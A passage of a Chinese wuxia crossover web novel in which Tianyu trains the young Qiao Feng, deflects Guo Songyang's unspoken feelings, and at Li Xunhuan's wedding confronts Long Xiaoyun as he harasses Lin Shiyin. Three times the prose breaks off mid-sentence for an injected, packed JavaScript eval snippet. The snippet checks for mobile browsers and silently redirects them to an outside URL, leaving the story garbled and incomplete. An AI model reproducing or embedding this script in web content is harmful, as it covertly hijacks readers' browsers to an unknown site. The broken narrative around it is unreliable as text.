虽然顺利把幼年乔峰收到了自己手下,但事出突然,他的腿也还伤着,天羽便没有要求他立刻跟自己走,而是让他先安心在家养伤,待伤好了,再去太室山寻她。 “我暂时住在郭家。”她说,“你在少室山长大,应当知道郭家在哪。” 乔峰高高兴兴地应了。 “我知道。”他说,“您放心吧。” 也不知他是皮糙肉厚,还是天赋异禀,七日后,他就背着一个小包袱,独自一人,爬上了郭家所在的太室山峻极峰。 郭家位于峻极峰峰腰,离山脚少说也有二十多丈,沿山路盘旋而上,便是一个成年人,也要走个小半日。 他却轻轻松松,在天羽完成晨练时,抵达了郭家。 郭家仆从来报,说外头有人寻她时,她差些不敢相信自己的耳朵。 等去到外面,看见精神奕奕的乔峰,她更是陷入沉默。 乔峰见她出来,十分高兴,当即上前给她行了礼。 天羽摆了摆手,让他不必这么客气,问:“你的腿好了?” 他点头称是,又说:“多亏了郭公子赠药。” 天羽心想郭嵩阳那药确实不错,但若换个人,怕也恢复不了这么快。 只能说天选之子就是天选之子。 “那走罢。”她迅速接受了这个事实,引着他进了郭家。 郭嵩阳给她安排的住处很宽敞,只她一人起居时,甚至有些冷清。 乔峰住进来后好了一些,但也没好到哪里去。 他年纪虽小,话却不多,行事也颇稳重。 很有些“未来大佬”的风范。 正好天羽也在这七日里,将整个嵩山都逛了一遍,干脆不再出门游玩,转而帮他打起了武学基础。 他不仅天赋卓绝,极宜习武,还很能吃苦。 天羽一开始还会跟他解释,让他做这个是为了锻炼他身体的哪个部位,后来连解释都免了。 因为不论她叫他做什么,他都能咬着牙做到最好。 而且他的体力和耐力也远超同龄人。 饶是天羽本来就有心理准备,也不由得在指点他打基础的过程里,被他惊了又惊。 惊讶的同时,她也犯了难。 他这个年纪,除了要打外功基础,内功方面的修习,也该开始了。 她手里有两套内功,一套是东家当年教她刀法时,顺手交给她的,另一套,就是从无崖子那里得来的北冥神功。 东家那套内功说实话不差,走的是稳扎稳打的路子,配上他教她的刀法,也算相得益彰。 但显然不及北冥神功那般逆天。 她有心教乔峰北冥神功,但想到自己只是跟无崖子做了个交易,并没有真拜入逍遥派,又觉得私下里将这门逆天的神功教给别人,有些不合适。 可若是不教他北冥神功,教另一套内功,她又难免为他可惜。 如此纠结了几日后,她干脆决定暂时先不教了。 等她把人带回关东,让无崖子亲自瞧一瞧这天选之子的根骨,她就不信那一心想着找丁春秋报仇的老头能不动心。 正巧此时已近中秋,神刀大会也结束了三个多月。 她觉得是时候跟郭嵩阳辞行了,便在中秋这日,给乔峰放了个假,让他回少室山跟父母团聚。 乔峰很感动:“多谢姑娘体谅,我明日便回来。” “不,你在家多待两日吧。”她摇头,“两日后,我就要离开嵩阳了,到时你与我一起。” 乔峰闻言有些惊讶,却也没多问。 他确实有一股超乎年龄的成熟。 “好,那我便两日后再来与太室山与姑娘会合。”他说。 …… 中秋夜郭家设宴,她作为郭嵩阳的客人,也受邀前往。 宴上其乐融融,她不忍拂郭家一众长辈的意,难得饮了两杯。 散宴后,郭嵩阳邀她去峻极峰顶赏月,说这个时辰明月西斜,自峻极峰举目而望,恰好能看到它悬于少室山明月峰上,是极难得的景象。 她想着正好要与他说回关东的事,便应了下来。 两人并肩而行,沿山间曲径缓步向上登去。 天羽饮了几杯酒,虽不至醉,却也较平时放松不少。 月色如银,照在她素日里清淡的眉目间,竟显出几分难得的柔和。 郭嵩阳走在她身侧,时不时偏头瞧她一眼,见她步履自若,神情清明,心知她定是没醉,但行到陡峭处,还是下意识伸手拦护。 “小心。”他说。 “郭兄还真是体贴。”天羽打趣他,“都带我上山这么多回了,依然不忘提醒。” 不算过分的玩笑话。 他却听得酒意上涌,面颊都烫了起来。 “夜路难行。”他听到自己略显飘忽的声音,强装镇定,“小心一些,总错不了。” 这话不假。 天羽于是称是。 对话间,两人已登上峻极峰顶。 抬眼一眺,天上的玉轮,正如他所言一般,悬在西边的明月峰上。 明月灼灼,群山沉沉。 秀丽的山尖抵着月缘,乍一看,倒像是有谁在那座秀美的山峰上镶了一颗巨大的明珠。 天羽暗叹果真美极。 待驻足欣赏够了,才侧首准备开口。 只是想好的告辞之语还没说出口,便听他忽然道:“其实…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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天羽松了一口气,当即表示没问题,他若不介意,此刻就可以找她试剑。 郭嵩阳垂下眼,声音渺渺,如在云间。 他说:“那招式如今只有一个雏形,尚未完善。” 天羽一怔。 他继续道:“我之前想的是,等我彻底敲定了那一招,再请你一试。” “但你既已决定两日后启程回关东,那试剑一事,便算了罢。” 他说到最后,还朝她笑了笑。 仿佛很潇洒。 但天羽一眼看出来,他没说实话。 再仔细一想,其实先前他说想请她掌眼时,神态便不大正常了,恐怕他原本想说的话,根本不是这句。 思及此处,先前被她强行忽略过去的念头,又骤然浮上心头。 她呼吸一顿,心道此人该不会本来是想跟她告白吧? 21.知交好友 不怪天羽这么想,实在是郭嵩阳此刻的反应,太叫她眼熟。 再联想他之前那句不介意她一辈子住在郭家,她要再反应不过来,那真是白在娱乐圈摸爬滚打那么多年了。 但察觉归察觉,他既没挑破,她当然也无心代劳。 “那我便祝郭兄早日敲定此招,剑术更进一步。”她说。 郭嵩阳闻言,沉默了片刻,才道:“多谢。” 不知不觉夜已深,原先恰好悬在明月峰顶的月亮,也逐渐偏移,即将落入群山怀抱。 两人便沿原路下了山。 下山路上,郭嵩阳十分沉默。 天羽本来以为他会直接沉默到最后,岂料快回到她住处时,他又开了口。 他问她,等他敲定招式,拿到新剑,能不能去白家堡拜访她? 天羽:“……” “倘若我在,那当然能。”她只能这么答,“但我极有可能不在。” 郭嵩阳一时无言。 或许是他看起来实在失落,天羽犹豫了一下,到底还是给了他一点“希望”。 “你若想找我试剑,可以公开下帖。”她说,“我听到消息,便可去赴约。” 郭嵩阳一愣,随即问道:“我给你下帖,你就会来么?” 天羽毫不犹豫点头:“当然。” 不然她为什么要给他提供这个办法? 郭嵩阳看着她,眼睛一眨不眨,道:“好,那就说定了。” 这一刻,他几乎把他没有说出口的话全藏在了目光里。 真挚而缱绻。 而天羽没有回避。 她笑了笑,说:“我等郭兄的帖子。” …… 两日后,与父母团聚了三日的乔峰准时出现在太室山下,与天羽会合。 天羽伸手一捞,把他带到马上,与自己同骑。 他一开始还有点紧张,僵着身体,不敢动弹。 她也不说什么安抚的话,直接一拉缰绳,带着他跑了十来里。 他果然如她所料,迅速喜欢上了这种骑在马上驰骋的感觉。 等他们出了豫州,进入冀州地界时,他已经半点不惧,甚至能帮忙控马了。 天羽对此十分无语,只能告诉自己,这毕竟是乔峰。 考虑到北地的秋日总是十分短暂,入冀州后,她特地在石城停留了半日,准备为他添几件冬衣。 这一停,倒叫她听到了一个差些错过的消息。 李寻欢要成亲了。 李家是冀州的名门望族,“一门七进士,父子三探花”的名声传得极广。 如今他即将成亲,这一带的百姓和江湖人,自然津津乐道。 天羽都不用特地找人打听,就知道了他的婚期。 正在两日后。 她算了算,按她如今的速度,两日后,应当正好可以赶到保定,便决定顺道去喝一杯喜酒,送个祝福。 保定在石城以北,而她要回关东,本就是要继续北上的,走这一趟,可谓两不耽误。 于是带着乔峰直奔保定李园。 此时的保定十分热闹。 李寻欢交游广阔,又素来大方,此次成亲,更是大手一挥,欲请全城之人喝酒。 收到他请帖的去李园喝,没收到的,便在城中的酒楼里喝。 不论喝掉多少,一概记在他账上。 因此,这两日不知有多少想蹭一口酒的江湖人赶往保定。 天羽和乔峰抵达保定城外时,差些因为排队的人太多而入不了城。 最后两人卡着城门关闭的时辰进了城。 落日西沉,钟鼓齐鸣,放在平时,应是各处百姓归家休憩之时。 但此时此刻,城中大街小巷,却是因李寻欢的婚礼而灯火通明,热闹非凡。 她携着乔峰,穿过挂满红绸的街道,一路往李园过去。 刚至门口,便有人快步迎来,要为她牵马,并问她要请帖。 “我没请帖。”天羽诚实道,“但我与你家少爷是旧识——” 她的话还没说完,那牵过她马的仆从,便笑着打断了她,说:“您有所不知,今日城中来客,几乎都是我家少爷的旧识。” “若无请帖,那移步城中酒肆,也可开怀畅饮。” 天羽:“……” 她又不是为了贪那几杯酒。 她想了想,直接从怀中掏出三片金叶,道:“或许你不信,但我确实不是来蹭酒的。” “今日李兄大喜,我不会强闯,但我来这一趟,总还是希望见他一面,你若愿意替我通传一声,这三片金叶,便是你的了。” 仆从一愣,心想此人穿得如此简朴,却能信手送出如此贵重之物,莫非来头不小? 若当真如此,他在此阻拦,岂不是坏了事? 正当他咬着牙,想要应下天羽的话时,李园大门外,又来了一位客人。 这位客人没骑马,而是坐了马车。 一下车,他便奉上了自己的请帖,请负责迎客的仆从检查。 但仆从确认无误,请他入园时,他却没有立刻进去,转而看向天羽。 “这位兄弟若没有请帖,还是勿要挡在此处了。”他看出了天羽的困境,目光掠过她手中的金叶,笑着开口道,“李贤弟新婚大喜,一掷千金,请宴全城,规矩都是一早说清了的,哪里是你花些钱就能破的?” 此话一出,先前有些心动,想为她通传的仆从,也变了神色。 天羽真是差点被他气笑,当即冷声道:“你的意思是,我是想贿赂李家的仆从,混进李园?” 那人挑了挑眉,没答,但从表情到动作,都是一个意思—— 难道不是吗? 他表现得太明显,以至于乔峰见状,都忍不住皱起眉头,直言道:“我家姑娘是李探花的知交好友,她只想让人给李探花通传一声罢了。” “姑娘?”青年意外了一瞬,双目微睁,倒是终于认真打量起了天羽。 这一打量,顿时叫他愣在原地。 先前他经过天羽身侧,看她风尘仆仆,一身劲装打扮,手里拿着金叶,只当她是个想要花钱与李寻欢攀关系的无名小卒,便不曾正眼瞧她。 此刻仔细一瞧,方觉她眉目精致,生得十足出众。 如此气度非凡、风采别致的美人,倒还真有可能是李寻欢的朋友。 他这么想着,终于露出了些真心的笑意,道:“原来是我误会了。” “那不如这样,”他提议道,“我带姑娘入园去见李贤弟如何,如此一来,也省得姑娘在此等候了。” 天羽再忍不住,冷笑一声,道:“不必。” 她可不想沾这种装模作样还演技差劲的人的光。 她说得极不客气:“你见我没请帖,便冷嘲热讽,擅自揣测,知我与李寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“如今我要成亲,又怎能不给你送请帖?” 天羽也笑了,一边笑,一边扭头朝身侧那道几乎僵住的身影看去,道:“咦,这位龙公子似乎很失望啊?” 龙啸云其实料到了李寻欢会出来,也料到了这两人相识。 但他气血上涌时想的是,李寻欢交游甚广,不一定真就与她有多深的交情,待出来见到他,多半还是以招待他为主。 结果人看都没看他一眼! “龙公子?”听到天羽的话,李寻欢才终于偏头,朝龙啸云看去,“龙兄,你怎么也在此?” 龙啸云攥紧掌心,深吸一口气,堆笑道:“我听这位姑娘说,她是贤弟你的朋友,想着不能让她独自在此等候,便暂且没有入园。” 天羽哦了一声,饶有兴致道:“真的吗?” “我怎么觉得,你是想着万一李兄与我不熟,你就能在我面前找回场子了?” 龙啸云:“……” 他想要否认,可还没来得及开口,就被乔峰抢了先。 乔峰恍然道:“原来如此。” “我就说嘛,你之前分明还在嘲笑我家姑娘没请帖,怎会忽然如此好心?” 22.居心不良 天羽是真不喜欢这个姓龙的。 上辈子混娱乐圈,她实在见过了太多这种满脸钻营、喜欢看人下菜碟的货色,那个时候为了工作,她只能尽量忍着。 这辈子投生在一个能用武力说话的世界,她当然不可能再给这种人好脸色。 但考虑到他是李寻欢的客人,刺了他几句后,她也见好就收了。 她不想在朋友大喜的日子为这点事抓着不放,搞得朋友尴尬。 令她高兴的是,李寻欢并没有试图给他们俩说和。 他只吩咐了仆从带龙啸云去水榭那边入席。 至于天羽,则是由他亲自招待作陪。 甚至他都没带她去今夜宴客的地方,而是直接将她送到了自己的新婚妻子那边。 当初他在关东养伤时,天羽便听他起过这位林姑娘,如今有机会见上一见,她当然不会拒绝。 只是去见人家之前,多少还是有些在意:“今夜是你们大喜的日子,我过去见她,是否不合礼数?” 李寻欢就笑着表示不会,江湖儿女,不计较这个,又说:“诗音她一直很想见你一面。” “她若知道你来了,我却没有第一时间带你去见她,恐怕还会生我的气。” 他说到这份上,天羽也就不再纠结,随着他一起,去往林诗音——不,应该说是他二人的起居之所。 李园分前后两园,两园之间,以一条引入园中的溪流作隔。 穿过重重回廊,行至溪边,沿桥而上,便是一片挂满了红绸的梅林。 李寻欢和林诗音的住处,就在这梅林间,名为冷香小筑。 此时的冷香小筑已为夜色笼罩,但门口处红灯高悬,倒将整座梅林映亮了大半。 天羽带着乔峰,刚随李寻欢一起踏入其中,便听林中传来一道悦耳的声音。 那声音道:“是表哥么?” 下一刻,便有一道窈窕身影自梅树后走出。 她看到一身黑衣的天羽,十分惊讶,但那惊讶只持续了片刻,她便眨着眼,惊喜道:“这位莫非就是天羽姑娘?” 李寻欢偏头看了天羽一眼,笑道:“是,她正是你心心念念,要亲自道谢的天羽姑娘。” “我原本还在想,该怎么与你介绍,结果你倒直接认出她来了。” 林诗音闻言一笑,道:“表哥不是说过么?天羽姑娘生得俊美非凡,又喜着劲装,芝兰玉树,是这世间一等风流人物,若有机会得见,我必能一眼认出。” 说完又上前几步,向天羽福身道:“诗音见过天羽姑娘。” 她生得很美,声音也极动听,抬眼望向天羽时,神情更是无比温柔。 饶是天羽自认见惯了各式美人,被她这么柔柔地望着,也不禁有些愣神,心想难怪当初在关东时,只要提及这位林姑娘,李寻欢便难掩归心,酒醉时喃喃,酒醒时又傻笑。 换了是她,有这么一位清丽出尘的未婚妻,估计也不会比他好到哪里去。 “林姑娘不必客气。”她笑了笑,对林诗音道,“你称我天羽便是。” 林诗音一愣,旋即弯起唇角道:“好,那我便唤你天羽了。” 两人说话间,一直安安静静跟在天羽身旁的乔峰,肚子忽然叫了一声。 天羽:“……” 差点忘了发育期的小孩饿不得。 不等她开口要求,同样听到这一声的李寻欢就先一步表示,不如移步冷香小筑,一起用一些酒菜。 天羽没拒绝。 不过才进去坐下没多久,便有仆从从前园寻过来,说水榭那边的客人都在找少爷。 “再见不到您,怕是会闹起来。”仆从说。 李寻欢只好起身去前园瞧一瞧。 结果他这新郎官一去,迟迟没有再回来。 林诗音没太在意,还对天羽道:“表哥必是被他那些朋友捉住喝酒了。” “咱们不等他,吃自己的。” 天羽大概想象了一下那个场面,深觉短时间内,他应是脱不了身了,便也没同林诗音客气,直接动了筷。 吃饭间,两人聊起李寻欢当初被人追杀的事。 林诗音心有戚戚,说当时江湖上甚至有李寻欢已死的传言,她每日在家以泪洗面,抄了不知多少经书去佛前供奉,只盼他能逢凶化吉。 “后来表哥他平安归来,我才知道,他能活下来,都是天羽你的功劳。”她说着,几乎又要落泪,一双哀愁的眼,直惹人怜,“我实在不知该如何谢你。” 天羽看她说到最后,手都在抖,想了想,还是伸手握了上去,道:“都过去了,如今他好好的,你二人也顺利完了婚。” “有情人终成眷属,这不就够了吗?” 林诗音便反扣住她的手,很轻地嗯了一声。 这话题太容易引人伤怀,于是之后两人又聊了些别的。 林诗音自小生活在李园,虽不似寻常闺阁女子一般,只呆在家中不出门,但也从未去过保定以外的地方。 天羽听出她对关东的好奇,便随意挑了些出名的关东风物——比如长白山——与她讲了讲。 她听得十分神往,说:“从前只在书中读过,知道天池盛景不似凡尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712047|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可具体美到什么地步,我总无法想象,今日听了你的形容,我终于知晓了。” 天羽便道:“将来若有机会,你不妨亲眼去瞧一瞧。” 林诗音露出心动的神色,轻声道了句好。 …… 大约亥时的时候,前园那边又传来消息,说李寻欢被一群朋友灌酒,喝多了,为免酒气太重,熏着林诗音,便决定先去听竹轩醒酒洗漱,待酒气散了再过来。 林诗音点点头,表示知晓。 待报信的人走了,才又转向天羽。 “时辰不早了,不如我先送你和这位小兄弟去隔壁院休息?”她说,“那是我与表哥成亲前的旧居,很近。” 天羽估计她是想送了自己和乔峰去休息后,再去那个什么听竹轩看一下李寻欢,当即点头应下,随她去了隔壁那间院子。 乔峰年纪小,洗漱完倒头就睡。 而她因为在冷香小筑里喝多了茶,一时半会儿并无睡意,便借着月光,在院子里练起了刀。 岂料练到一半,她忽然听到从冷香小筑那边传来一声惊呼。 “你来这里做什么?”是林诗音。 天羽:“?” 什么情况? 下一刻,又是一道颇耳熟的声音响起。 “我……我只想见你一面,诗音。” 竟是李园外那个姓龙的! 她还在震惊,便听林诗音冷声道:“龙公子,这不是你该来的地方,还请自重。” “我只是想见你……”那姓龙的着急道,“我……你难道不知我的心意?” “我记得我拒绝过你了。”林诗音平静道,“当初表哥失踪,你愿意帮我打听表哥的消息,我很感激,但我对你,确实只有感激。” “如今我更是与表哥成了婚,你但凡还是君子,便不该再来寻我说这等话。” “我不是!”他忽然提高了声音,“我为何非得要当君子?你知不知道,见不到你的日子,我无时无刻不在想你,甚至夜不能寐——” 天羽听到这里,再听不下去。 因为她清楚地察觉,在他喊出“夜不能寐”的那一刻,林诗音头上的钗环,发出了珠玉相撞的叮当脆响。 而以林诗音的教养和性情,若非急中闪避,是断不会让身上的首饰发出这等声响的。 所以很显然,必是那姓龙的激动之下做了什么,吓到了她。 天羽毫不犹豫,掠出院门,果然见到那姓龙的正试图去抓林诗音的肩膀。 她呸了一声,一阵风似的,挡到林诗音身前,抬手就是一刀!